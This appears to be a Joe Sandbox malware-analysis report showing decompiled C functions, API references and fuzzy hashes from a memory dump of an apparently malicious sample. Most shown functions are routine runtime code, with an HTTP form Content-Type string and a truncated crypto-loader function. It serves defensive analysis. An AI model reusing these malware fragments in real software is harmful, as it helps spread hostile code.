0x0097b6e9
0x0097b6f0
0x0097b6ff
0x0097b705
0x0097b70a
0x0097b711
0x0097b714
0x0097b71e
0x0097b732
0x0097b735
0x0097b73a
0x0097b744
0x0097b756
0x0097b75b
0x0097b75e
0x0097b764
0x0097b77f
0x0097b781
0x0097b787
0x0097b799
0x0097b79f
0x0097b7ae
0x0097b7b4
0x0097b7c6
0x0097b7cc
0x0097b7cf
0x0097b7d1
0x0097b7d6
0x0097b7e6
0x0097b7ec
0x0097b7f0
0x0097b7f5
0x0097b805
0x0097b80b
0x0097b812
0x0097b816
0x0097b81c
0x0097b826
0x0097b831
0x0097b828
0x0097b828
0x0097b828
0x0097b83b
0x0097b842
0x0097b844
0x0097b84b
0x0097b851
0x0097b851
0x0097b857
0x0097b85d
0x0097b865
0x0097b86f
0x0097b877
0x0097b87b
0x0097b87c
0x0097b883
0x0097b888
0x0097b88e
0x0097b891
0x0097b898
0x0097b89d
0x0097b8a7
0x0097b8b2
0x0097b8ba
0x0097b8bb
0x0097b8bc
0x0097b8ca

APIs

__aulldiv.LIBCMT ref: 0097B7A9

Strings

Content-Type: application/x-www-form-urlencoded, xrefs: 0097B7DC
yE, xrefs: 0097B73A

Memory Dump Source

Source File: 00000010.00000002.633206172.0000000000971000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00970000, based on PE: true

Associated: 00000010.00000002.633144208.0000000000970000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635236414.00000000009C7000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635714395.00000000009D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635816366.00000000009D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_970000_ze5tCopHgrlItmsTQGIZcUK1.jbxd

Similarity

API ID: __aulldiv
String ID: Content-Type: application/x-www-form-urlencoded$yE
API String ID: 3732870572-2809620063
Opcode ID: dac2a2c0f65d450adc80a3980a57dbab905f2f17578e66c944427abd3f39ba39
Instruction ID: d4d203333234e7183f3e6297ea0d7b986a72cbb7a1510d322bd97169bc7973b1
Opcode Fuzzy Hash: dac2a2c0f65d450adc80a3980a57dbab905f2f17578e66c944427abd3f39ba39
Instruction Fuzzy Hash: 309128B1E012589FDB14DFA8D951BDEBBB5FF89300F1481A9E409A7381DB345A84CF91

Uniqueness

Uniqueness Score: -1.00%

Function 009738D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E009738D0(CHAR* _a4) {
				char _v5;
				intOrPtr* _v12;
				long _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				long _v28;
				long _t25;
				intOrPtr _t33;

				if(_a4 == 0) {
					L4:
					return 0;
				}
				_v12 = _a4;
				_v20 = _v12 + 1;
				do {
					_v5 =  *_v12;
					_v12 = _v12 + 1;
				} while (_v5 != 0);
				_t33 = _v12 - _v20;
				_v24 = _t33;
				if(_t33 != 0) {
					_t25 = GetFileAttributesA(_a4); // executed
					_v28 = _t25;
					if(_v28 != 0xffffffff) {
						return 1;
					}
					_v16 = GetLastError();
					if(_v16 == 0x44 || _v16 == 0x20 || _v16 == 0x45 || _v16 == 0x24) {
						return 1;
					} else {
						return 0;
					}
				}
				goto L4;
			}

0x009738da
0x00973908
0x00000000
0x00973908
0x009738df
0x009738e8
0x009738eb
0x009738f0
0x009738f3
0x009738f7
0x00973900
0x00973903
0x00973906
0x00973910
0x00973916
0x0097391d
0x00000000
0x0097394a
0x00973925
0x0097392c
0x00000000
0x00973946
0x00000000
0x00973946
0x0097392c
0x00000000

APIs

GetFileAttributesA.KERNEL32(00000001), ref: 00973910
GetLastError.KERNEL32 ref: 0097391F

Strings

$, xrefs: 0097393A

Memory Dump Source

Source File: 00000010.00000002.633206172.0000000000971000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00970000, based on PE: true

Associated: 00000010.00000002.633144208.0000000000970000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635236414.00000000009C7000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635714395.00000000009D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635816366.00000000009D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_970000_ze5tCopHgrlItmsTQGIZcUK1.jbxd

Similarity

API ID: AttributesErrorFileLast
String ID: $
API String ID: 1799206407-3993045852
Opcode ID: 1e28ce171d1a15203a145840e76c01b4473d3a0549eaa1cdbfb62b37ff2999be
Instruction ID: 524cceeb79cc50060074600c001144d8c97232e77fa44b4b71d96a5881f05c28
Opcode Fuzzy Hash: 1e28ce171d1a15203a145840e76c01b4473d3a0549eaa1cdbfb62b37ff2999be
Instruction Fuzzy Hash: BD112776C08309EFCF24DFA4C4486EEBF74AB05720F10C699D66966340C2754B81EF92

Uniqueness

Uniqueness Score: -1.00%

Function 009A2E30 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 149
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 67%

			E009A2E30(void* __ebx, intOrPtr __ecx, char* __edx, void* __edi, void* __esi, intOrPtr _a4) {
				char _v8;
				char _v16;
				signed int _v20;
				char _v44;
				unsigned int _v48;
				void* _v49;
				signed int _v50;
				void* _v56;
				signed int _v60;
				intOrPtr* _v64;
				short _v66;
				intOrPtr _v72;
				signed int _v76;
				intOrPtr _v80;
				signed int _v84;
				intOrPtr _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				intOrPtr _v108;
				signed int _t81;
				signed int _t82;
				long _t87;
				intOrPtr _t89;
				signed int _t98;
				signed int _t107;
				signed int _t109;
				void* _t114;
				intOrPtr _t116;
				signed int _t119;
				intOrPtr _t129;
				intOrPtr _t143;
				void* _t152;
				void* _t153;
				signed int _t154;

				_t153 = __esi;
				_t152 = __edi;
				_t142 = __edx;
				_t114 = __ebx;
				_push(0xffffffff);
				_push(0x9c661d);
				_push( *[fs:0x0]);
				_t81 =  *0x9d2008; // 0x9fef24bf
				_t82 = _t81 ^ _t154;
				_v20 = _t82;
				_push(_t82);
				 *[fs:0x0] =  &_v16;
				_v72 = __ecx;
				_v60 = 0;
				if( *((intOrPtr*)(_v72 + 8)) != 0) {
					_v48 = 0;
					_t143 =  *0x9d35a8; // 0x6ff1fd20
					_v80 = _t143;
					_t116 = _v72;
					_t142 =  *((intOrPtr*)(_t116 + 8));
					_v80( *((intOrPtr*)(_t116 + 8)), 0x16, 0, 0,  &_v48, 0);
					_t87 = GetLastError();
					__eflags = _t87 - 0x7a;
					if(_t87 != 0x7a) {
						E00986570(_a4, L"-1L");
						_t119 = _v60 | 0x00000001;
						__eflags = _t119;
						_v60 = _t119;
						_t89 = _a4;
					} else {
						E00986570( &_v44, L"-2L");
						_v8 = 0;
						_v84 = E009AC782((_v48 >> 1) * 2 >> 0x20, __eflags);
						_v56 = _v84;
						_t129 =  *0x9d35a8; // 0x6ff1fd20
						_v88 = _t129;
						_t98 = _v88( *((intOrPtr*)(_v72 + 8)), 0x16, 0, _v56,  &_v48, 0,  ~(0 | __eflags > 0x00000000) | (_v48 >> 0x00000001) * 0x00000002);
						__eflags = _t98;
						if(_t98 == 0) {
							_v49 = 0;
						} else {
							_v49 = 1;
						}
						_v50 = _v49;
						__eflags = _v50 & 0x000000ff;
						if((_v50 & 0x000000ff) != 0) {
							_v64 = _v56;
							_t107 = _v64 + 2;
							__eflags = _t107;
							_v92 = _t107;
							do {
								_v66 =  *_v64;
								_v64 = _v64 + 2;
								__eflags = _v66;
							} while (_v66 != 0);
							_t109 = _v64 - _v92;
							__eflags = _t109;
							_v96 = _t109 >> 1;
							_v100 = _v96;
							_v104 = _v100;
							E00987950(_t114,  &_v44, _t152, _t153, _v56, _v104); // executed
						}
						_v76 = _v56;
						L009AC7AE(_v76);
						__eflags = _v76;
						if(_v76 != 0) {
							_v56 = 0x8123;
							_v108 = _v56;
						} else {
							_v108 = 0;
						}
						_t142 =  &_v44;
						E009A3320(_a4,  &_v44);
						_v60 = _v60 | 0x00000001;
						_v8 = 0xffffffff;
						E00987810( &_v44);
						_t89 = _a4;
					}
				} else {
					E00986570(_a4, 0x9cd11c);
					_v60 = _v60 | 0x00000001;
					_t89 = _a4;
				}
				 *[fs:0x0] = _v16;
				return E009AC2E8(_t89, _t114, _v20 ^ _t154, _t142, _t152, _t153);
			}

0x009a2e30
0x009a2e30
0x009a2e30
0x009a2e30
0x009a2e33
0x009a2e35
0x009a2e40
0x009a2e44
0x009a2e49
0x009a2e4b
0x009a2e4e
0x009a2e52
0x009a2e58
0x009a2e5b
0x009a2e69
0x009a2e89
0x009a2e90
0x009a2e96
0x009a2ea5
0x009a2ea8
0x009a2eac
0x009a2eaf
0x009a2eb5
0x009a2eb8
0x009a2fe2
0x009a2fea
0x009a2fea
0x009a2fed
0x009a2ff0
0x009a2ebe
0x009a2ec6
0x009a2ecb
0x009a2ef0
0x009a2ef6
0x009a2ef9
0x009a2eff
0x009a2f17
0x009a2f1a
0x009a2f1c
0x009a2f24
0x009a2f1e
0x009a2f1e
0x009a2f1e
0x009a2f2b
0x009a2f32
0x009a2f34
0x009a2f39
0x009a2f3f
0x009a2f3f
0x009a2f42
0x009a2f45
0x009a2f4b
0x009a2f4f
0x009a2f53
0x009a2f53
0x009a2f5d
0x009a2f5d
0x009a2f62
0x009a2f68
0x009a2f6e
0x009a2f7c
0x009a2f7c
0x009a2f84
0x009a2f8b
0x009a2f93
0x009a2f97
0x009a2fa2
0x009a2fac
0x009a2f99
0x009a2f99
0x009a2f99
0x009a2faf
0x009a2fb6
0x009a2fc1
0x009a2fc4
0x009a2fce
0x009a2fd3
0x009a2fd3
0x009a2e6b
0x009a2e73
0x009a2e7e
0x009a2e81
0x009a2e81
0x009a2ff6
0x009a300b

APIs

GetLastError.KERNEL32 ref: 009A2EAF

Strings

-1L, xrefs: 009A2FDA
-2L, xrefs: 009A2EBE

Memory Dump Source

Source File: 00000010.00000002.633206172.0000000000971000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00970000, based on PE: true

Associated: 00000010.00000002.633144208.0000000000970000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635236414.00000000009C7000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635714395.00000000009D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635816366.00000000009D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_970000_ze5tCopHgrlItmsTQGIZcUK1.jbxd

Similarity

API ID: ErrorLast
String ID: -1L$-2L
API String ID: 1452528299-3975959154
Opcode ID: 3be4a4b17a9ee94020752cb84d86abd51a0cf4eae36add036b04c518270d7832
Instruction ID: 67537a6b4f3b02bdc19156a0f30ee03fbf103653cb9e47de9840e889d0a8e248
Opcode Fuzzy Hash: 3be4a4b17a9ee94020752cb84d86abd51a0cf4eae36add036b04c518270d7832
Instruction Fuzzy Hash: 8951F7B0E05248AFDB08DF98D995BEDBBB5FF49310F208119F416AB390DB74A945CB90

Uniqueness

Uniqueness Score: -1.00%

Function 009B5B34 Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E009B5B34(int _a4) {
				void* _t8;
				void* _t10;

				if(E009B5B65(_t8, _t10) != 0) {
					TerminateProcess(GetCurrentProcess(), _a4);
				}
				E009B5B87(_a4);
				ExitProcess(_a4);
			}

0x009b5b40
0x009b5b4c
0x009b5b4c
0x009b5b55
0x009b5b5e

APIs

GetCurrentProcess.KERNEL32(?,?,009B5B2E,00000000,009AF731,?,?,9FEF24BF,009AF731,?), ref: 009B5B45
TerminateProcess.KERNEL32(00000000,?,009B5B2E,00000000,009AF731,?,?,9FEF24BF,009AF731,?), ref: 009B5B4C
ExitProcess.KERNEL32 ref: 009B5B5E

Memory Dump Source

Source File: 00000010.00000002.633206172.0000000000971000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00970000, based on PE: true

Associated: 00000010.00000002.633144208.0000000000970000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635236414.00000000009C7000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635714395.00000000009D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635816366.00000000009D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_970000_ze5tCopHgrlItmsTQGIZcUK1.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 1bd5866c840ca250d0093b1ed13f5b62b44ed39fd22a5415e5ffb000a98836e8
Instruction ID: bdc12ba10d947f6334afb7c3e9aa5cdbc4fd2fc65d63e1053f88300ecf0473af
Opcode Fuzzy Hash: 1bd5866c840ca250d0093b1ed13f5b62b44ed39fd22a5415e5ffb000a98836e8
Instruction Fuzzy Hash: 84D09E71418514AFCF117FA4DD0DE99BF2AAF443657458010BA1946071CB71DD51AF50

Uniqueness

Uniqueness Score: -1.00%

Function 009BA150 Relevance: 3.2, APIs: 2, Instructions: 191fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 009B9863: GetConsoleOutputCP.KERNEL32(9FEF24BF,?,00000000,?), ref: 009B98C6

WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,?,00000000,?,?,00000000,?,?,009B7F2D,?), ref: 009BA2B9
GetLastError.KERNEL32(?,?,009B7F2D,?,009B7DBC,00000000,?,00000000,009B7DBC,?,?,?,009D0E80,0000002C,009B7E2D,?), ref: 009BA2C3

Memory Dump Source

Source File: 00000010.00000002.633206172.0000000000971000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00970000, based on PE: true

Associated: 00000010.00000002.633144208.0000000000970000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635236414.00000000009C7000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635714395.00000000009D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635816366.00000000009D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_970000_ze5tCopHgrlItmsTQGIZcUK1.jbxd

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: 1f300e036a131f96a05902513fa7a27065de181e02b03417fca52cd3c544c512
Instruction ID: 1f756efad14ea683383463eb54aa987c0738421421d6ec4fdb8ac0c610690759
Opcode Fuzzy Hash: 1f300e036a131f96a05902513fa7a27065de181e02b03417fca52cd3c544c512
Instruction Fuzzy Hash: 4C61C271D04249AFDF11CFA9C984EEEBBBCAF4A324F144449F810AB252D336D945CB62

Uniqueness

Uniqueness Score: -1.00%

Function 009B7A11 Relevance: 3.0, APIs: 2, Instructions: 22memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,009BC306,?,00000000,?,?,009BC32B,?,00000007,?,?,009BC733,?,?), ref: 009B7A27
GetLastError.KERNEL32(?,?,009BC306,?,00000000,?,?,009BC32B,?,00000007,?,?,009BC733,?,?), ref: 009B7A32

Memory Dump Source

Source File: 00000010.00000002.633206172.0000000000971000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00970000, based on PE: true

Associated: 00000010.00000002.633144208.0000000000970000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635236414.00000000009C7000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635714395.00000000009D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635816366.00000000009D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_970000_ze5tCopHgrlItmsTQGIZcUK1.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 86778707dc1bfffb0f387492f79ddff4cbd96cde5fb5a4731d12e45680d39a0e
Instruction ID: 84b6854d0fd2ff9c9242235e9912e03112d6c155775278668df4bd2a47a087c2
Opcode Fuzzy Hash: 86778707dc1bfffb0f387492f79ddff4cbd96cde5fb5a4731d12e45680d39a0e
Instruction Fuzzy Hash: 2EE08C32508204ABCB11ABE4ED8DBD9BB68AB80761F144124F60CC7060DA318AA09BC4

Uniqueness

Uniqueness Score: -1.00%

Function 009B783E Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 009B7878

Memory Dump Source

Source File: 00000010.00000002.633206172.0000000000971000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00970000, based on PE: true

Associated: 00000010.00000002.633144208.0000000000970000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635236414.00000000009C7000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635714395.00000000009D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635816366.00000000009D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_970000_ze5tCopHgrlItmsTQGIZcUK1.jbxd

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 107a9e93fa15a00f46bfda7f2aaa60ad860bc2729da439a67b9e78d5cfc8f127
Instruction ID: 62546ba9074847f5575a9cb0d423a9268d692f9d10aabed0ef258b98f6d357fa
Opcode Fuzzy Hash: 107a9e93fa15a00f46bfda7f2aaa60ad860bc2729da439a67b9e78d5cfc8f127
Instruction Fuzzy Hash: 0F111871A0410AAFCF05DF98E9459DA7BF9EF88314F0440A9F809AB351D631DA11DB65

Uniqueness

Uniqueness Score: -1.00%

Function 009BA679 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,00000000,00000000,?,009B7200,00000001,00000364,00000006,000000FF,?,00000000,?,009AF700,00000000,00000000), ref: 009BA6BA

Memory Dump Source

Source File: 00000010.00000002.633206172.0000000000971000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00970000, based on PE: true

Associated: 00000010.00000002.633144208.0000000000970000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635236414.00000000009C7000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635714395.00000000009D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635816366.00000000009D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_970000_ze5tCopHgrlItmsTQGIZcUK1.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 4e5d8dc5e66c951c9aea937bd22b7621f1cc79014c563799e54933cb25ec16b4
Instruction ID: 1ed6fe0fc7b3abf6c2762bfcab0fbbd27c575a57882bf1fe721f106814fe9cad
Opcode Fuzzy Hash: 4e5d8dc5e66c951c9aea937bd22b7621f1cc79014c563799e54933cb25ec16b4
Instruction Fuzzy Hash: F1F0E971605621EB9B215F229E05BDB7B5CAF807B0B1CC122B808D70A0DB34DC005AEB

Uniqueness

Uniqueness Score: -1.00%

Function 009724E0 Relevance: 1.5, APIs: 1, Instructions: 36COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMTD ref: 009724F7

Memory Dump Source

Source File: 00000010.00000002.633206172.0000000000971000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00970000, based on PE: true

Associated: 00000010.00000002.633144208.0000000000970000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635236414.00000000009C7000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635714395.00000000009D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635816366.00000000009D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_970000_ze5tCopHgrlItmsTQGIZcUK1.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 54b69b5414c581cb00c345c70a7ce21ee9c140a2bd3abf435cdeb8e31d6c367a
Instruction ID: 2cf0ba8664043f986fbca2703fdc904b396afb9753a350fd38287e358f8a37da
Opcode Fuzzy Hash: 54b69b5414c581cb00c345c70a7ce21ee9c140a2bd3abf435cdeb8e31d6c367a
Instruction Fuzzy Hash: 6BF03CB1D10108ABCF14EFA8C4917ADF7B5EF84304F10C1A9E8099B345E6309E41DB85

Uniqueness

Uniqueness Score: -1.00%

Function 0098B190 Relevance: 1.5, APIs: 1, Instructions: 33COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMTD ref: 0098B1AD

Memory Dump Source

Source File: 00000010.00000002.633206172.0000000000971000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00970000, based on PE: true

Associated: 00000010.00000002.633144208.0000000000970000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635236414.00000000009C7000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635714395.00000000009D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635816366.00000000009D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_970000_ze5tCopHgrlItmsTQGIZcUK1.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 8e6fc79a48be0d83226385d352d55510f62dee121f625d989952545329975616
Instruction ID: 133a7432884889f664fb6aff9a3643751b953e8e60f762365c85db379e428cfd
Opcode Fuzzy Hash: 8e6fc79a48be0d83226385d352d55510f62dee121f625d989952545329975616
Instruction Fuzzy Hash: D6F0A4B1C0824CEBCF10EFA8D45839DBBB4AB04340F1482A9E8252A381D7359684CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 009B7F6A Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,0097231C,?,?,009AC50D,0097231C,?,0097231C,00000000,?,?,9FEF24BF), ref: 009B7F9C

Memory Dump Source

Source File: 00000010.00000002.633206172.0000000000971000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00970000, based on PE: true

Associated: 00000010.00000002.633144208.0000000000970000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635236414.00000000009C7000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635714395.00000000009D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635816366.00000000009D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_970000_ze5tCopHgrlItmsTQGIZcUK1.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 64271d5ba8fe84d93bcdddc2cc4a09c911e1e77d863695ba0edd873a545991da
Instruction ID: bd6352aabd2a628956ae8448800703bfdb2e59e6280b4651548b783c8c10d592
Opcode Fuzzy Hash: 64271d5ba8fe84d93bcdddc2cc4a09c911e1e77d863695ba0edd873a545991da
Instruction Fuzzy Hash: 6CE0E52124C1246ADA3126E1DE04BFBF75C9FD13B2F150320BD14A30D0CFA4CC0041AD

Uniqueness

Uniqueness Score: -1.00%

Function 009BD31E Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000000,?,009BD70E,?,?,00000000,?,009BD70E,?,0000000C), ref: 009BD33B

Memory Dump Source

Source File: 00000010.00000002.633206172.0000000000971000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00970000, based on PE: true

Associated: 00000010.00000002.633144208.0000000000970000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635236414.00000000009C7000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635714395.00000000009D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635816366.00000000009D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_970000_ze5tCopHgrlItmsTQGIZcUK1.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 65a01e9f1eedab5ef8edcd2af23d3f6700e7e4e8d8cc47ef4edc3e4b4a09e495
Instruction ID: 198d640497f9c719fa5e32276298488171500f25b33fec75c08c79b5f5bd7108
Opcode Fuzzy Hash: 65a01e9f1eedab5ef8edcd2af23d3f6700e7e4e8d8cc47ef4edc3e4b4a09e495
Instruction Fuzzy Hash: 1FD06C3201410DBBDF028F85DC06EDA3BAAFB48714F014000BA1856060C732E961AB91

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 009A6B70 Relevance: 67.4, APIs: 10, Strings: 28, Instructions: 863
libraryloaderCOMMONCrypto

Download Yara Rule

C-Code - Quality: 59%

			E009A6B70() {
				intOrPtr _v8;
				signed int _v16;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				intOrPtr _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				intOrPtr _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				intOrPtr _v160;
				intOrPtr _v164;
				intOrPtr _v168;
				intOrPtr _v172;
				intOrPtr _v176;
				intOrPtr _v180;
				intOrPtr _v184;
				intOrPtr _v188;
				intOrPtr _v192;
				intOrPtr _v196;
				intOrPtr _v200;
				intOrPtr _v204;
				intOrPtr _v208;
				intOrPtr _v212;
				intOrPtr _v216;
				intOrPtr _v220;
				intOrPtr _v224;
				intOrPtr _v228;
				intOrPtr _v232;
				intOrPtr _v236;
				intOrPtr _v240;
				intOrPtr _v244;
				intOrPtr _v248;
				intOrPtr _v252;
				intOrPtr _v256;
				intOrPtr _v260;
				intOrPtr _v264;
				intOrPtr _v268;
				intOrPtr _v272;
				intOrPtr _v276;
				intOrPtr _v280;
				intOrPtr _v284;
				intOrPtr _v288;
				intOrPtr _v292;
				intOrPtr _v296;
				intOrPtr _v300;
				intOrPtr _v304;
				intOrPtr _v308;
				intOrPtr _v312;
				intOrPtr _v316;
				char _v317;
				char _v318;
				char _v319;
				char _v320;
				char _v321;
				char _v322;
				char _v323;
				char _v324;
				char _v325;
				char _v326;
				char _v327;
				char _v328;
				char _v329;
				char _v330;
				char _v331;
				char _v332;
				char _v333;
				char _v334;
				char _v335;
				char _v336;
				char _v337;
				char _v338;
				char _v339;
				char _v340;
				char _v341;
				char _v342;
				char _v343;
				char _v344;
				char _v345;
				char _v346;
				char _v347;
				char _v348;
				char _v349;
				char _v350;
				char _v351;
				char _v352;
				char _v353;
				char _v354;
				char _v355;
				char _v356;
				CHAR* _v360;
				CHAR* _v364;
				CHAR* _v368;
				CHAR* _v372;
				CHAR* _v376;
				CHAR* _v380;
				CHAR* _v384;
				CHAR* _v388;
				char _v392;
				char _v396;
				char _v400;
				char _v404;
				char _v408;
				char _v412;
				char _v416;
				char _v420;
				char _v424;
				char _v428;
				char _v432;
				char _v436;
				char _v440;
				char _v444;
				char _v448;
				char _v452;
				char _v456;
				char _v460;
				char _v464;
				char _v468;
				char _v472;
				char _v476;
				char _v480;
				char _v484;
				char _v488;
				char _v492;
				char _v496;
				char _v500;
				char _v504;
				char _v508;
				CHAR* _v512;
				CHAR* _v516;
				char _v520;
				char _v524;
				char _v528;
				char _v532;
				char _v536;
				char _v540;
				char _v544;
				char _v548;
				char _v552;
				char _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				intOrPtr _v576;
				intOrPtr _v580;
				intOrPtr _v584;
				intOrPtr _v588;
				intOrPtr _v592;
				char _v596;
				intOrPtr _v600;
				intOrPtr _v604;
				intOrPtr _v608;
				char _v612;
				intOrPtr _v616;
				intOrPtr _v620;
				intOrPtr _v624;
				intOrPtr _v628;
				intOrPtr _v632;
				intOrPtr _v636;
				intOrPtr _v640;
				char _v644;
				intOrPtr _v648;
				intOrPtr _v652;
				intOrPtr _v656;
				intOrPtr _v660;
				intOrPtr _v664;
				intOrPtr _v668;
				intOrPtr _v672;
				char _v676;
				intOrPtr _v680;
				intOrPtr _v684;
				intOrPtr _v688;
				intOrPtr _v692;
				intOrPtr _v696;
				intOrPtr _v700;
				intOrPtr _v704;
				char _v708;
				intOrPtr _v712;
